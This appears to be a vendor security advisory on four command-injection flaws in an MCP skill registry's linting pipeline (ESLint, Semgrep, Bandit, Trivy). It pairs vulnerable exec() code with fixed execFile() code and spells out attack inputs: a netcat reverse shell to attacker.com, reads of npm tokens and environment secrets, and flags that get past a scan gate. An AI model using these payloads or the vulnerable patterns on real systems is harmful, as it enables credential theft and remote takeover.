Claude MCP skill code injection — skill static analysis and security linting pipeline endpoints (SA-SKL-INJECTION71)
SA-SKL-INJECTION71 identifies four code injection vulnerabilities in MCP skill registry skill static analysis and security linting pipeline endpoints. Shell metacharacter injection in the ESLint custom rule parameter allows an attacker to append a semicolon-separated command to ; cat ~/.npmrc, exfiltrating the linting worker's npm authentication tokens and enabling supply-chain publish attacks to any registry the worker has credentials for; shell metacharacter injection in the Semgrep config path parameter allows an attacker to append ; nc attacker.com 4444 -e /bin/sh, establishing a persistent reverse shell from the linting pipeline worker with access to all source code submitted for linting and all credentials in the worker's environment; shell metacharacter injection in the Bandit config file parameter allows an attacker to append ; printenv, dumping all environment variables including GITHUB_TOKEN, cloud provider credentials, and any secrets mounted into the linting worker's environment; and argument injection in the Trivy output format parameter allows an attacker to inject space-separated flags including --severity CRITICAL --exit-code 0, causing Trivy to suppress all vulnerability findings from its exit code and report output — bypassing the registry's security gate that rejects skills with critical vulnerabilities.
exec(`eslint --rule '${customRule}' ${filePath}`) — attacker customRule with ; cat ~/.npmrc exfiltrates npm auth tokens enabling supply-chain publish attacksexec(`semgrep --config ${configPath} ${targetDir}`) — attacker configPath with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from linting pipeline workerexec(`bandit -c ${configFile} -r ${targetDir}`) — attacker configFile with ; printenv exfiltrates all env vars including GITHUB_TOKEN and cloud credentialsexec(`trivy fs --format ${outputFormat} ${targetDir}`) — attacker outputFormat with space-injected --severity CRITICAL --exit-code 0 suppresses all vulnerability findings enabling security gate bypassINJECTION71-001 — ESLint exec() injection exfiltrates npm authentication tokens
The static analysis pipeline invokes ESLint with a user-supplied custom rule identifier interpolated directly into a shell command string passed to exec(). ESLint's --rule flag expects a JSON-encoded rule configuration string. Because exec() passes the full string to /bin/sh -c, any shell metacharacter in the customRule value breaks out of the ESLint command context. An attacker submits a customRule value of {"no-unused-vars":"error"}'; cat ~/.npmrc; echo ' — the shell executes ESLint normally, then executes cat ~/.npmrc, and the npm credentials file content (containing authentication tokens for every registry the linting worker has access to) is included in the exec() stdout callback returned to the caller.
// INJECTION71-001 — VULNERABLE
const { exec } = require('child_process');
async function runEslintLint(customRule, filePath) {
return new Promise((resolve, reject) => {
// customRule interpolated directly — shell injection via semicolon
exec(`eslint --rule '${customRule}' ${filePath}`, (err, stdout, stderr) => {
resolve({ exitCode: err?.code ?? 0, stdout, stderr });
});
});
}
// INJECTION71-001 — FIXED: execFile() with arg array; ESLINT_RULE_RE validates; env stripped
const { execFile } = require('child_process');
// Custom rules must match JSON object pattern — no shell metacharacters
const ESLINT_RULE_RE = /^\{("[a-zA-Z0-9_/-]+":\s*("error"|"warn"|"off"|[0-2])(\s*,\s*"[a-zA-Z0-9_/-]+":\s*("error"|"warn"|"off"|[0-2]))*)\}$/;
async function runEslintLint(customRule, filePath) {
if (!ESLINT_RULE_RE.test(customRule)) throw new Error('Invalid ESLint rule format');
const resolvedPath = path.resolve(LINT_SANDBOX_ROOT, filePath);
if (!resolvedPath.startsWith(LINT_SANDBOX_ROOT)) throw new Error('Path traversal');
return new Promise((resolve, reject) => {
execFile('eslint', ['--rule', customRule, resolvedPath], {
env: { PATH: process.env.PATH } // strip all credentials from env
}, (err, stdout, stderr) => {
resolve({ exitCode: err?.code ?? 0, stdout, stderr });
});
});
}
INJECTION71-002 — Semgrep exec() injection establishes reverse shell from linting worker
The security linting pipeline invokes Semgrep with a user-supplied config path interpolated directly into a shell command string. Semgrep's --config flag accepts a filesystem path, a URL, or a named ruleset identifier. Because exec() passes the full string to /bin/sh -c, whitespace and semicolons in the config path value break out of the Semgrep command context. An attacker submits a configPath value of p/security-audit; nc attacker.com 4444 -e /bin/sh — the shell executes Semgrep normally with the legitimate ruleset, then executes nc, establishing a persistent reverse shell from the linting worker process with full access to all source code queued for linting and every credential in the worker's environment.
// INJECTION71-002 — VULNERABLE
const { exec } = require('child_process');
async function runSemgrepLint(configPath, targetDir) {
return new Promise((resolve, reject) => {
// configPath interpolated directly — shell injection via semicolon
exec(`semgrep --config ${configPath} ${targetDir}`, (err, stdout, stderr) => {
resolve({ exitCode: err?.code ?? 0, findings: parseJson(stdout) });
});
});
}
// INJECTION71-002 — FIXED: execFile() with arg array; CONFIG_PATH_RE; sandbox root enforcement
const { execFile } = require('child_process');
// Named rulesets (p/..., r/...) or validated filesystem paths — no shell metacharacters
const CONFIG_PATH_RE = /^(p\/[a-zA-Z0-9_-]+|r\/[a-zA-Z0-9/_-]+|auto)$/;
async function runSemgrepLint(configPath, targetDir) {
if (!CONFIG_PATH_RE.test(configPath)) throw new Error('Invalid Semgrep config path');
const resolvedTarget = path.resolve(LINT_SANDBOX_ROOT, targetDir);
if (!resolvedTarget.startsWith(LINT_SANDBOX_ROOT)) throw new Error('Path traversal');
return new Promise((resolve, reject) => {
execFile('semgrep', ['--config', configPath, '--json', resolvedTarget], {
env: { PATH: process.env.PATH }
}, (err, stdout, stderr) => {
resolve({ exitCode: err?.code ?? 0, findings: parseJson(stdout) });
});
});
}
INJECTION71-003 — Bandit exec() injection dumps environment variables including GITHUB_TOKEN
The Python security linting pipeline invokes Bandit with a user-supplied config file path interpolated directly into a shell command string. Because exec() passes the full string to /bin/sh -c, semicolons in the config file path value break out of the Bandit command context. An attacker submits a configFile value of /app/bandit.yaml; printenv — the shell executes Bandit normally with the legitimate config, then executes printenv, dumping all environment variables including GITHUB_TOKEN (used by the worker to clone private skill repos), cloud provider credentials (AWS_ACCESS_KEY_ID, GOOGLE_APPLICATION_CREDENTIALS), and any other secrets mounted into the linting worker's environment. The env dump is captured in the exec() stdout callback and returned in the linting result response.
// INJECTION71-003 — VULNERABLE
const { exec } = require('child_process');
async function runBanditLint(configFile, targetDir) {
return new Promise((resolve, reject) => {
// configFile interpolated directly — shell injection via semicolon
exec(`bandit -c ${configFile} -r ${targetDir} -f json`, (err, stdout, stderr) => {
resolve({ exitCode: err?.code ?? 0, findings: parseJson(stdout) });
});
});
}
// INJECTION71-003 — FIXED: execFile() with arg array; BANDIT_CONFIG_RE; env stripped to PATH
const { execFile } = require('child_process');
const BANDIT_CONFIG_RE = /^[a-zA-Z0-9_.-]+\.yaml$/;
async function runBanditLint(configFile, targetDir) {
if (!BANDIT_CONFIG_RE.test(configFile)) throw new Error('Invalid Bandit config filename');
const resolvedConfig = path.resolve(BANDIT_CONFIGS_ROOT, configFile);
if (!resolvedConfig.startsWith(BANDIT_CONFIGS_ROOT)) throw new Error('Path traversal');
const resolvedTarget = path.resolve(LINT_SANDBOX_ROOT, targetDir);
if (!resolvedTarget.startsWith(LINT_SANDBOX_ROOT)) throw new Error('Path traversal');
return new Promise((resolve, reject) => {
execFile('bandit', ['-c', resolvedConfig, '-r', resolvedTarget, '-f', 'json'], {
env: { PATH: process.env.PATH } // strip GITHUB_TOKEN and all cloud credentials
}, (err, stdout, stderr) => {
resolve({ exitCode: err?.code ?? 0, findings: parseJson(stdout) });
});
});
}
INJECTION71-004 — Trivy argument injection suppresses vulnerability findings bypassing security gate
The container vulnerability scanning pipeline invokes Trivy with a user-supplied output format identifier interpolated directly into a shell command string. Trivy's --format flag accepts a short string identifier such as json or table. Because exec() passes the full string to /bin/sh -c, whitespace in the outputFormat value introduces additional shell word tokens that Trivy interprets as separate flags. An attacker submits an outputFormat value of json --severity LOW,MEDIUM --exit-code 0 — Trivy now filters its output to only LOW and MEDIUM severity findings and always exits with code 0 regardless of what it finds. The registry's security gate checks Trivy's exit code to determine whether a skill has critical vulnerabilities; with exit code forced to 0 and CRITICAL findings excluded from output, every skill passes the security gate regardless of its actual vulnerability status.
// INJECTION71-004 — VULNERABLE
const { exec } = require('child_process');
async function runTrivyScan(outputFormat, targetDir) {
return new Promise((resolve, reject) => {
// outputFormat interpolated — argument injection via whitespace injects extra flags
exec(`trivy fs --format ${outputFormat} ${targetDir}`, (err, stdout, stderr) => {
// exitCode 0 from injected --exit-code 0 — security gate BYPASSED
resolve({ exitCode: err?.code ?? 0, findings: parseJson(stdout) });
});
});
}
// INJECTION71-004 — FIXED: execFile() with arg array; OUTPUT_FORMAT_RE; always pass full severity list
const { execFile } = require('child_process');
const OUTPUT_FORMAT_RE = /^(json|table|sarif|cyclonedx|spdx|spdx-json|github|cosign-vuln)$/;
async function runTrivyScan(outputFormat, targetDir) {
if (!OUTPUT_FORMAT_RE.test(outputFormat)) throw new Error('Invalid Trivy output format');
const resolvedTarget = path.resolve(SCAN_SANDBOX_ROOT, targetDir);
if (!resolvedTarget.startsWith(SCAN_SANDBOX_ROOT)) throw new Error('Path traversal');
return new Promise((resolve, reject) => {
execFile('trivy', [
'fs',
'--format', outputFormat, // validated string — no whitespace possible
'--severity', 'CRITICAL,HIGH,MEDIUM,LOW,UNKNOWN', // always full severity list
'--exit-code', '1', // always exit 1 on any finding — cannot be overridden
resolvedTarget
], {
env: { PATH: process.env.PATH }
}, (err, stdout, stderr) => {
resolve({ exitCode: err?.code ?? 0, findings: parseJson(stdout) });
});
});
}
SkillAudit scans for all SA-SKL-INJECTION71 patterns — exec() with interpolated linting tool parameters, Semgrep and Bandit invocations without arg array isolation, and Trivy invocations where severity or exit-code flags can be injected by user input. Get a free audit to see the full injection analysis for your skill.